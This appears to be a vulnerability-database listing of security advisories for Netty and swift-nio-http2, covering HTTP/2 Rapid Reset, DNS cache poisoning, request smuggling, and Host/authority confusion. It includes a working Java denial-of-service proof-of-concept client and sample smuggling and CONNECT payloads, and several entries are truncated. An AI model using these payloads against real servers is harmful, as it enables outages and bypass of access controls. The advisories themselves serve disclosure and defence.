-Infinity
0
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

HTTP/2 Rapid reset attack The HTTP/2 protocol allows clients to indicate to the server that a previous stream should be canceled by sending a RSTSTREAM frame. The protocol does not require the client and server to coordinate the cancellation in any way, the client may do it unilaterally. The client may also assume that the cancellation will take effect immediately when the server receives the RSTSTREAM frame, before any other data from that TCP connection is processed.

Abuse of this feature is called a Rapid Reset attack because it relies on the ability for an endpoint to send a RSTSTREAM frame immediately after sending a request frame, which makes the other endpoint start working and then rapidly resets the request. The request is canceled, but leaves the HTTP/2 connection open.

The HTTP/2 Rapid Reset attack built on this capability is simple: The client opens a large number of streams at once as in the standard HTTP/2 attack, but rather than waiting for a response to each request stream from the server or proxy, the client cancels each request immediately.

The ability to reset streams immediately allows each connection to have an indefinite number of requests in flight. By explicitly canceling the requests, the attacker never exceeds the limit on the number of concurrent open streams. The number of in-flight requests is no longer dependent on the round-trip time (RTT), but only on the available network bandwidth.

In a typical HTTP/2 server implementation, the server will still have to do significant amounts of work for canceled requests, such as allocating new stream data structures, parsing the query and doing header decompression, and mapping the URL to a resource. For reverse proxy implementations, the request may be proxied to the backend server before the RSTSTREAM frame is processed. The client on the other hand paid almost no costs for sending the requests. This creates an exploitable cost asymmetry between the server and the client.

Multiple software artifacts implementing HTTP/2 are affected. This advisory was originally ingested from the swift-nio-http2 repo advisory and their original conent follows.

swift-nio-http2 specific advisory swift-nio-http2 is vulnerable to a denial-of-service vulnerability in which a malicious client can create and then reset a large number of HTTP/2 streams in a short period of time. This causes swift-nio-http2 to commit to a large amount of expensive work which it then throws away, including creating entirely new Channels to serve the traffic. This can easily overwhelm an EventLoop and prevent it from making forward progress.

swift-nio-http2 1.28 contains a remediation for this issue that applies reset counter using a sliding window. This constrains the number of stream resets that may occur in a given window of time. Clients violating this limit will have their connections torn down. This allows clients to continue to cancel streams for legitimate reasons, while constraining malicious actors.

1 / 10
Source: GitHub
First published (updated )
Severity
10
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N

Summary Netty's DnsResolveContext insufficiently validates the bailiwick of NS records, enabling DNS Cache Poisoning. An attacker controlling an authoritative name server for a subdomain can poison the cache for parent domains (like .co.uk).

Details In io.netty.resolver.dns.DnsResolveContext.AuthoritativeNameServerList#add method accepts any NS record from the AUTHORITY section as long as the record's name is a suffix of the questionName.

This means if the resolver queries evil.co.uk., it will accept an NS record claiming authority over co.uk.. Subsequently, the handleWithAdditional method caches the associated A records from the ADDITIONAL section directly into the authoritativeDnsServerCache under the parent domain's key (co.uk.). This bypasses standard bailiwick rules, where a server authoritative for a subdomain should not be trusted to provide authoritative records for its parent. The poisoned cache is then used for all future resolutions under co.uk..

The io.netty.resolver.dns.DnsResolveContext.AuthoritativeNameServerList#cache method only prevents caching if the record is for the root zone (dots == 1).

Impact DNS Cache Poisoning. Any application using Netty's DNS resolver is impacted.

1 / 3
Source: GitHub
First published (updated )
Severity
5.3
EPSS
0.37%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

A flaw was found in Netty's HTTP/2 HpackEncoder. A remote attacker can exploit this by sending HTTP/2 SETTINGS frames with a very large MAXHEADERTABLESIZE. This causes the HpackEncoder to store an excessive number of unique headers, leading to increased CPU usage and memory consumption, ultimately resulting in a Denial of Service (DoS).

1 / 2
Source: MITRE
First published (updated )
Severity
7.5
EPSS
0.56%
Input Validation
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

A flaw was found in Netty's HTTP/2 codec. When converting HTTP/1 CONNECT requests to HTTP/2, the component incorrectly uses the Host header instead of the CONNECT authority-form request-target for the tunnel authority. A remote attacker can exploit this by supplying a different Host header, leading to a malformed HTTP/2 CONNECT request. This can bypass security controls such as tunnel allow-lists or egress policies, resulting in integrity loss.

1 / 2
Source: MITRE
First published (updated )
Severity
8.2
EPSS
0.52%
Input Validation
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

A flaw was found in Netty. A remote unauthenticated attacker can exploit a vulnerability in Netty's HTTP/1 to HTTP/2 conversion process. When an HTTP/1 request includes both an absolute-form request-target and a conflicting Host header, Netty incorrectly prioritizes the Host header for the HTTP/2 :authority field, discarding the original request-target authority. This inconsistency can allow an attacker to bypass security controls in Netty-based proxies or gateways, potentially leading to unauthorized access, cache poisoning, or misrouting of requests.

1 / 2
Source: MITRE
First published (updated )
Severity
10
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N

Summary Netty's DnsResolveContext fails to validate the origin (bailiwick) of CNAME records in DNS responses.

Details In io.netty.resolver.dns.DnsResolveContext#buildAliasMap, the resolver processes the ANSWER section of a DNS response and blindly caches all CNAME records it finds.

According to https://datatracker.ietf.org/doc/html/rfc5452#section-6

Care must be taken to only accept data if it is known that the originator is authoritative for the QNAME or a parent of the QNAME. One very simple way to achieve this is to only accept data if it is part of the domain for which the query was intended.

Impact DNS Cache Poisoning (Bailiwick Bypass). Any application using Netty's DNS resolver is impacted.

1 / 2
Source: GitHub
First published (updated )
Severity
8.3
XEE
AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Any caller that can deliver bytes to a Netty channel pipeline containing XmlDecoder can send XML with a DOCTYPE declaration to a parser instantiated with no security configuration — but whether external entities are actually resolved depends on Aalto XML's async parser behavior, making this a confirmed misconfiguration with conditional exploitability.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well.

This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk.

Impact

All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage.

References https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185

1 / 5
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression).

All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack

Workarounds No workarounds other than not using the Bzip2Decoder

References

Relevant code areas:

https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305

1 / 5
First published (updated )
Severity
6.2
Infoleak
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Impact

When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled.

The CVSSv3.1 score of this vulnerability is calculated to be a 6.2/10

Vulnerability Details

On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems.

The method File.createTempFile on unix-like systems creates a random file, but, by default will create this file with the permissions -rw-r--r--. Thus, if sensitive information is written to this file, other local users can read this information.

This is the case in netty's AbstractDiskHttpData is vulnerable.

https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101

AbstractDiskHttpData is used as a part of the DefaultHttpDataFactory class which is used by HttpPostRequestDecoder / HttpPostMultiPartRequestDecoder.

You may be affected by this vulnerability your project contains the following code patterns:

java channelPipeline.addLast(new HttpPostRequestDecoder(...));

java channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...));

Patches

This has been patched in version 4.1.59.Final.

Workarounds

Specify your own java.io.tmpdir when you start the JVM or use DefaultHttpDataFactory.setBaseDir(...) to set the directory to something that is only readable by the current user.

References

- CWE-378: Creation of Temporary File With Insecure Permissions - CWE-379: Creation of Temporary File in Directory with Insecure Permissions

Similar Vulnerabilities

Similar, but not the same.

- JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp - Google Guava - https://github.com/google/guava/issues/4011 - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824

For more information If you have any questions or comments about this advisory: Open an issue in netty Email us here

Original Report

Hi Netty Security Team, I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: https://lgtm.com/query/7723301787255288599/ Netty contains three local information disclosure vulnerabilities, so far as I can tell. One is here, where the private key for the certificate is written to a temporary file. https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 One is here, where the certificate is written to a temporary file. https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 All of these vulnerabilities exist because File.createTempFile(String, String) will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: -rw-r--r--, thus, any other local user on that system can read the contents of that file. Impacted OS: - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. Mitigation. Moving to the Files API instead will fix this vulnerability. https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- This API will explicitly set the posix file permissions to something safe, by default. I recently disclosed a similar vulnerability in JUnit 4: https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. https://github.com/netty/netty/security/advisories This vulnerability disclosure follows Google's 90-day vulnerability disclosure policy (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. Cheers, Jonathan Leitschuh

1 / 5
First published (updated )
Severity
5.9
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

Impact The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1

This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case.

Patches This was fixed as part of 4.1.61.Final

Workarounds Validation can be done by the user before proxy the request by validating the header.

1 / 5
First published (updated )
Severity
5.9
XSS
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

Impact If a Content-Length header is present in the original HTTP/2 request, the field is not validated by Http2MultiplexHandler as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (HttpRequest, HttpContent, etc.) via Http2StreamFrameToHttpObjectCodec and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling.

In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked.

An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like:

POST / HTTP/2 :authority:: externaldomain.com Content-Length: 4

asdfGET /evilRedirect HTTP/1.1 Host: internaldomain.com

Users are only affected if all of this is true: HTTP2MultiplexCodec or Http2FrameCodec is used Http2StreamFrameToHttpObjectCodec is used to convert to HTTP/1.1 objects These HTTP/1.1 objects are forwarded to another remote peer.

Patches This has been patched in 4.1.60.Final

Workarounds The user can do the validation by themselves by implementing a custom ChannelInboundHandler that is put in the ChannelPipeline behind Http2StreamFrameToHttpObjectCodec.

References Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980

1 / 5
First published (updated )
Severity
8.2
AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Netty netty-tcnative before 2.0.84.Final contains a denial of service vulnerability in the tcnwritetobytebuffer BIO write callback that overreports bytes consumed. Remote TLS 1.3 peers can provoke queued post-handshake records like NewSessionTicket or KeyUpdate to truncate flights, fail connections, or abort the JVM process.

1 / 2
Source: Ubuntu
First published (updated )
Severity
4

HTTP/2 HpackEncoder DoS with large table size

A public GitHub Security Advisory (GHSA-8352-h356-c9qh) describes the following issue:

Summary A client can send SETTINGS with a very large MAXHEADERTABLESIZE to cause HpackEncoder to save all unique send headers. Those can accumulate over time and cause a CPU or memory DoS.

Details If a client sends SETTINGS with a very large MAXHEADERTABLESIZE, it is propagated directly through DefaultHttp2HeadersEncoder.maxHeaderTableSize() to HpackEncoder.setMaxHeaderTableSize(). HpackEncoder then uses the received value directly and will happily fill the table with every unique header sent by the server, eventually causing excessive O(n²) chain scanning in HpackeEncoder.getEntryInsensitive().

This was found when trying to produce a PoC for a memory DoS caused by retaining all unique header fields. I was expecting to get ~2 GiB of memory usage, but memory use was significantly less. I tracked that down to slowing QPS and then to the CPU DoS. The fix for both is the same: cap the table size, maybe as a function of arraySizeHint.

PoC java import io.netty.bootstrap.Bootstrap; import io.netty.channel.Channel; import io.netty.channel.ChannelHandlerContext; import io.netty.channel.ChannelInboundHandlerAdapter; import io.netty.channel.ChannelInitializer; import io.netty.channel.EventLoopGroup; import io.netty.channel.SimpleChannelInboundHandler; import io.netty.channel.nio.NioEventLoopGroup; import io.netty.channel.socket.SocketChannel; import io.netty.channel.socket.nio.NioSocketChannel; import io.netty.handler.codec.http2.DefaultHttp2Headers; import io.netty.handler.codec.http2.DefaultHttp2HeadersFrame; import io.netty.handler.codec.http2.Http2FrameCodecBuilder; import io.netty.handler.codec.http2.Http2Headers; import io.netty.handler.codec.http2.Http2HeadersFrame; import io.netty.handler.codec.http2.Http2MultiplexHandler; import io.netty.handler.codec.http2.Http2Settings; import io.netty.handler.codec.http2.Http2StreamChannel; import io.netty.handler.codec.http2.Http2StreamChannelBootstrap; import io.netty.handler.codec.http2.Http2StreamFrame; import io.netty.util.concurrent.Future;

import java.util.concurrent.CompletableFuture; import java.util.concurrent.TimeUnit; import java.util.concurrent.atomic.AtomicInteger;

public final class Http2Client {

static final String HOST = "127.0.0.1"; static final int PORT = 8080;

public static void main(String[] args) throws Exception { // Configure client-sent HTTP/2 SETTINGS Http2Settings settings = Http2Settings.defaultSettings(); settings.headerTableSize(Integer.MAXVALUE);

EventLoopGroup group = new NioEventLoopGroup(1); try { Bootstrap b = new Bootstrap() .group(group) .channel(NioSocketChannel.class) .remoteAddress(HOST, PORT) .handler(new ChannelInitializer<SocketChannel>() { @Override protected void initChannel(SocketChannel ch) { ch.pipeline().addLast( Http2FrameCodecBuilder.forClient() .initialSettings(settings) .build(), new Http2MultiplexHandler(new ChannelInboundHandlerAdapter())); } });

Channel ch = b.connect().sync().channel(); AtomicInteger count = new AtomicInteger();

for (int i = 0; i < 10; i++) { startRpcs(ch, count); }

while (true) { Thread.sleep(1000); System.out.println("RPCs completed: " + count.getAndSet(0)); } } finally { group.shutdownGracefully(); } }

private static void startRpcs(Channel ch, AtomicInteger count) throws Exception { new Http2StreamChannelBootstrap(ch) .handler(new SimpleChannelInboundHandler<Http2StreamFrame>() { @Override protected void channelRead0(ChannelHandlerContext ctx, Http2StreamFrame msg) throws Exception { if (!(msg instanceof Http2HeadersFrame)) { System.out.println("Unexpected response frame: " + msg); return; } if (!((Http2HeadersFrame) msg).isEndStream()) { System.out.println("Surprising header response: " + msg); return; } count.incrementAndGet(); startRpcs(ch, count); } }) .open() .addListener((Future<Http2StreamChannel> f) -> { Http2Headers headers = new DefaultHttp2Headers() .method("GET") .path("/") .scheme("http"); f.getNow().writeAndFlush(new DefaultHttp2HeadersFrame(headers, true)); }); } } java import io.netty.bootstrap.ServerBootstrap; import io.netty.buffer.ByteBufUtil; import io.netty.channel.Channel; import io.netty.channel.ChannelHandlerContext; import io.netty.channel.ChannelInitializer; import io.netty.channel.EventLoopGroup; import io.netty.channel.SimpleChannelInboundHandler; import io.netty.channel.nio.NioEventLoopGroup; import io.netty.channel.socket.SocketChannel; import io.netty.channel.socket.nio.NioServerSocketChannel; import io.netty.handler.codec.http2.DefaultHttp2Headers; import io.netty.handler.codec.http2.DefaultHttp2HeadersFrame; import io.netty.handler.codec.http2.Http2DataFrame; import io.netty.handler.codec.http2.Http2FrameCodecBuilder; import io.netty.handler.codec.http2.Http2Headers; import io.netty.handler.codec.http2.Http2HeadersFrame; import io.netty.handler.codec.http2.Http2MultiplexHandler; import io.netty.handler.codec.http2.Http2StreamChannel; import io.netty.handler.codec.http2.Http2StreamFrame;

import java.util.concurrent.ThreadLocalRandom;

public final class Http2Server { static final int PORT = 8080;

public static void main(String[] args) throws Exception { EventLoopGroup group = new NioEventLoopGroup(1); try { ServerBootstrap b = new ServerBootstrap() .group(group) .channel(NioServerS

[truncated]

Affected: - maven:io.netty:netty-codec-http2 affected >= 4.2.0.Final, <=4.2.17.Final; fixed unknown - maven:io.netty:netty-codec-http2 affected <= 4.1.137.Final; fixed unknown

Fixed versions: see advisory

Advisory: https://github.com/netty/netty/security/advisories/GHSA-8352-h356-c9qh

First published (updated )
Severity
7
Input Validation

HTTP/1 absolute-form Host mismatch is translated to HTTP/2 :authority, overriding the request-target authority

A public GitHub Security Advisory (GHSA-cg2g-fxr4-mg8m) describes the following issue:

Summary

HttpConversionUtil.toHttp2Headers(...) translates an HTTP/1 request with an absolute-form request-target and a conflicting Host header into HTTP/2 using the Host header as :authority.

For example, this raw HTTP/1 request:

http GET http://request-target.example/admin HTTP/1.1 Host: host-header.example

is translated by Netty into HTTP/2 control data with:

text :scheme = http :path = /admin :authority = host-header.example

The request-target authority request-target.example is discarded because Netty only takes the absolute-form request-line authority when the Host header is empty.

This creates a host/authority confusion primitive in Netty-based HTTP/1 to HTTP/2 proxy or gateway pipelines. A security decision made against the absolute-form request-target authority can be bypassed when Netty forwards the request over HTTP/2 using attacker-controlled Host as :authority.

Technical Details

In codec-http2/src/main/java/io/netty/handler/codec/http2/HttpConversionUtil.java, toHttp2Headers(...) initializes host from the HTTP/1 Host header:

java String host = inHeaders.getAsString(HttpHeaderNames.HOST);

For non-origin-form requests, it parses the request target and sets the HTTP/2 path:

java String requestTarget = request.uri(); out.path(toHttp2Path(requestTarget));

When the request-target has a scheme and authority, Netty parses the scheme/authority portion, but only uses that authority if Host was empty:

java URI requestTargetUri = URI.create(http2PathlessRequestTarget(requestTarget)); // Take from the request-line if HOST header was empty host = isNullOrEmpty(host) ? requestTargetUri.getAuthority() : host; setHttp2Scheme(inHeaders, requestTargetUri, out);

Finally, Netty emits :authority from host:

java setHttp2Authority(host, out);

The result is that a conflicting Host header overrides the authoritative absolute-form request-target authority during HTTP/1 to HTTP/2 conversion.

Impact

In a Netty-based proxy or gateway that accepts HTTP/1, performs access control, routing, tenant selection, egress allowlisting, or cache-keying based on the absolute-form request-target, and then forwards the request over HTTP/2 using HttpConversionUtil.toHttp2Headers(...), an attacker can send:

http GET http://allowed.example/admin HTTP/1.1 Host: blocked-or-attacker.example

The gateway can approve the request based on allowed.example, while Netty emits an HTTP/2 request with :authority=blocked-or-attacker.example.

This can bypass host or tenant security boundaries, poison cross-host cache entries, or route requests to an unintended upstream. The primitive is not a generic application Host-header trust issue; it is a protocol-conversion inconsistency inside Netty's HTTP/1 to HTTP/2 translation helper.

Suggested Fix

Recommended fix direction:

- If the HTTP/1 request-target is absolute-form and contains an authority component, construct HTTP/2 :authority from that request-target authority. - Alternatively, reject conversion when absolute-form request-target authority and Host differ after scheme-based normalization. - Preserve current origin-form behavior where Host is the authority source. - Add regression tests for mismatched absolute-form authority/Host, matching authority/Host, origin-form Host, userinfo stripping, IPv6 literals, and explicit ports.

Affected Package/Versions

Primary package: io.netty:netty-codec-http2

Related package: io.netty:netty-codec-http

Confirmed affected:

- current 4.2 branch at 7bae566a93e69409697fe57fa807910ba5c9720e - 4.2.15.Final at a41f7b289ce1d697c50846f3ade3983e22b2ed40 - 4.1.135.Final at f05f765d81460799c53123a207f665bf3b465171

Suggested affected ranges:

- >= 4.1.0.Final, <= 4.1.135.Final - >= 4.2.0.Final, <= 4.2.15.Final

References

- Netty security policy: https://github.com/netty/netty/security/policy - RFC 9112 request-target and absolute-form rules: https://datatracker.ietf.org/doc/html/rfc9112#section-3.2 - RFC 9113 request pseudo-header fields: https://datatracker.ietf.org/doc/html/rfc9113#section-8.3.1 - RFC 9110 http URI authority syntax: https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.1 - HTTPWG mismatching absolute URI and Host discussion: https://github.com/httpwg/http-core/issues/191 - HTTPWG absolute-form precedence clarification: https://github.com/httpwg/http-core/issues/1105 - Netty HTTP/2 content-length request smuggling advisory: https://github.com/advisories/GHSA-f256-j965-7f32 - Netty HTTP/2 request-smuggling validation advisory: https://github.com/advisories/GHSA-wm47-8v5p-wjpj

CWE and CVSS

Primary CWE: CWE-444 (Inconsistent Interpretation of HTTP Requests).

Secondary CWE: CWE-20 (Improper Input Validation / protocol normalization).

Suggested CVSS v3.1:

text CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

Suggested severity: High, score 8.1.

Rationale: a remote unauthenticated HTTP/1 client can trigger the conversion differential in a gateway/proxy deployment. The strongest impact is integrity: host, tenant, egress, or route policy can be checked against one authority and forwarded over HTTP/2 to another. Availability impact is not claimed.

Duplicate Boundary

Adjacent public Netty advisories cover different surfaces:

- GHSA-f256-j965-7f32 / CVE-2021-21409: HTTP/2 request smuggling due content-length validation. - GHSA-wm47-8v5p-wjpj / CVE-2021-21295: HTTP/2 request smuggling due missing validation. - GHSA-c7h2-758g-pf5v: private triage item for HTTP/2 :path HTAB surviving HTTP/1 downgrade.

This candidate is HTTP/1 absolute-form to HTTP/2 :authority translation. It does not rely on content-length ambiguity, HTTP/2-to-HTTP/1 downgrade, or request-line whitespace.

Local PoV

PoV file in the local bundle:

po

[truncated]

Affected: - maven:io.netty:netty-codec-http2 affected >= 4.1.0.Final, <= 4.1.137.Final; fixed unknown - maven:io.netty:netty-codec-http2 affected >= 4.2.0.Final, <= 4.2.17.Final; fixed unknown

Fixed versions: see advisory

Advisory: https://github.com/netty/netty/security/advisories/GHSA-cg2g-fxr4-mg8m

First published (updated )
Severity
7
Input Validation

HTTP/1 authority-form CONNECT is translated to malformed HTTP/2 CONNECT with Host-controlled :authority

A public GitHub Security Advisory (GHSA-45h4-vhwh-fmhg) describes the following issue:

Summary

Netty's HTTP/1-to-HTTP/2 conversion does not special-case true HTTP/1 CONNECT authority-form request-targets. Instead, HttpConversionUtil.toHttp2Headers() applies the generic request conversion path to a request-target like trusted.example:443.

For example:

text CONNECT trusted.example:443 HTTP/1.1 Host: attacker.example:443

is converted to HTTP/2 headers with these security-relevant properties:

text :method: CONNECT :authority: attacker.example:443 :scheme: trusted.example :path: <present>

The exact :path value has varied across releases (/ in checked older 4.2.x releases and trusted.example:443 in current/4.2.15), but the invariant bug is stable: the CONNECT tunnel authority is taken from the HTTP/1 Host header instead of the CONNECT authority-form request-target, and Netty emits HTTP/2 CONNECT-forbidden :scheme and :path pseudo-headers.

HTTP/2 CONNECT must omit :scheme and :path, and :authority must contain the host and port from the CONNECT authority-form request-target. In a Netty-based HTTP/1-to-HTTP/2 proxy or gateway, policy that authorizes the HTTP/1 CONNECT request-target can disagree with the upstream HTTP/2 proxy, which receives the Host-controlled :authority.

Technical Details

The relevant code is codec-http2/src/main/java/io/netty/handler/codec/http2/HttpConversionUtil.java. toHttp2Headers(HttpMessage, boolean) handles HttpRequest conversion with a generic URI/request-target parser:

text String host = inHeaders.getAsString(HttpHeaderNames.HOST); ... String requestTarget = request.uri(); out.path(toHttp2Path(requestTarget)); ... setHttp2Scheme(...); setHttp2Authority(host, out); out.method(request.method().asciiName());

For CONNECT, the HTTP/1 request-target is authority-form (host:port), not an origin-form path and not an absolute URI. On the current branch, trusted.example:443 is treated as a scheme-like string for :scheme, the request-target is emitted as :path, and the HTTP/1 Host header is used for :authority. On checked older 4.2.x releases, the :path value is /, but the authority confusion and forbidden pseudo-header emission still reproduce.

Impact

In a Netty HTTP/1-to-HTTP/2 proxy/gateway path, a remote HTTP/1 client can ask to CONNECT to one authority while supplying a different Host header. Netty then builds an HTTP/2 CONNECT request whose tunnel :authority is Host-controlled and whose pseudo-header set is malformed.

This can bypass tunnel allow-lists, egress policy, backend selection, audit logic, or other security controls that validate the HTTP/1 CONNECT request-target before forwarding over HTTP/2.

This report does not claim code execution or memory corruption. The impact is integrity loss through CONNECT tunnel-target confusion at an HTTP/1-to-HTTP/2 conversion boundary.

Suggested Fix

When converting true HTTP/1 authority-form CONNECT to HTTP/2:

- set :method to CONNECT; - set :authority from the HTTP/1 CONNECT request-target authority-form; - omit :scheme and :path; - reject or ignore conflicting Host instead of allowing it to replace the CONNECT target; - add regression tests for direct toHttp2Headers(...) and outbound HttpToHttp2ConnectionHandler conversion.

The attached patched-control diff demonstrates the minimal behavior change:

evidence/minimal-connect-patched-control.diff

The patched-control run passed:

fish ./mvnw -q -pl codec-http2 \ -Dtest=Http2ConnectAuthorityFormFixedControlTest,HttpToHttp2ConnectionHandlerTest#testAuthorityFormRequestTargetHandled \ -Dsurefire.failIfNoSpecifiedTests=false \ -DskipNativeTests -DskipAutobahnTests -Dmaven.antrun.skip=true test

Affected Package/Versions

io.netty:netty-codec-http2

Confirmed affected:

- current 4.2 branch at 7bae566a93e69409697fe57fa807910ba5c9720e - 4.2.15.Final at a41f7b289ce1d697c50846f3ade3983e22b2ed40 - 4.2.2.Final at 660edeaefad4a4cedbd61584e8f668ad2d89f0b8 - 4.2.0.Final at 09e64d259c99be8b5b2a471a78f11e65eb82598a - 4.1.135.Final at f05f765d81460799c53123a207f665bf3b465171

Suggested affected ranges:

- >= 4.1.0.Final, <= 4.1.135.Final - >= 4.2.0.Final, <= 4.2.15.Final

References

- Netty security policy: https://github.com/netty/netty/security/policy - RFC 9113 HTTP/2 CONNECT method: https://datatracker.ietf.org/doc/html/rfc9113#section-8.5 - RFC 9112 authority-form: https://datatracker.ietf.org/doc/html/rfc9112#section-3.2.3 - RFC 9110 CONNECT method: https://datatracker.ietf.org/doc/html/rfc9110#section-9.3.6

CWE and CVSS

Suggested CWEs:

- CWE-20: Improper Input Validation - CWE-436: Interpretation Conflict - CWE-444: Inconsistent Interpretation of HTTP Requests

Suggested CVSS v3.1:

text CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Suggested severity: High, score 7.5.

Rationale: a network peer can trigger this in a proxy/gateway path without authentication. Integrity impact is high because CONNECT can establish a tunnel to an unintended upstream authority when forwarding policy validated a different request-target.

Duplicate Boundary

Nearby reports are distinct:

- GHSA-cg2g-fxr4-mg8m: HTTP/1 absolute-form Host mismatch to HTTP/2 :authority. - GHSA-jgph-cgq3-c627: the sibling HTTP/1 CONNECT authority-form conversion bug in netty-codec-http3. - GHSA-w6j8-x45j-w75f: HTTP/2/HTTP/3 Extended CONNECT inbound downgrade. - GHSA-gcjj-c5ff-2m72, GHSA-xf5f-3m33-p8m3, and GHSA-w424-c27v-r9mr: HTTP/2-to-HTTP/1 inbound downgrade families.

This report covers outbound HTTP/1 CONNECT authority-form conversion to HTTP/2.

Live duplicate evidence is in evidence/advisory-duplicate-check.tsv.

Local PoV

PoV file:

pov/Http2ConnectAuthorityFormHostConfusionPovTest.java

Run from a Netty checkout after copying the PoV file into codec-http2/src/test/java/io/

[truncated]

Affected: - maven:io.netty:netty-codec-http2 affected >= 4.1.0.Final, <= 4.1.137.Final; fixed unknown - maven:io.netty:netty-codec-http2 affected >= 4.2.0.Final, <= 4.2.17.Final; fixed unknown

Fixed versions: see advisory

Advisory: https://github.com/netty/netty/security/advisories/GHSA-45h4-vhwh-fmhg

First published (updated )
Severity
7

HTTP/2 and HTTP/3 Extended CONNECT requests are downgraded as regular CONNECT requests

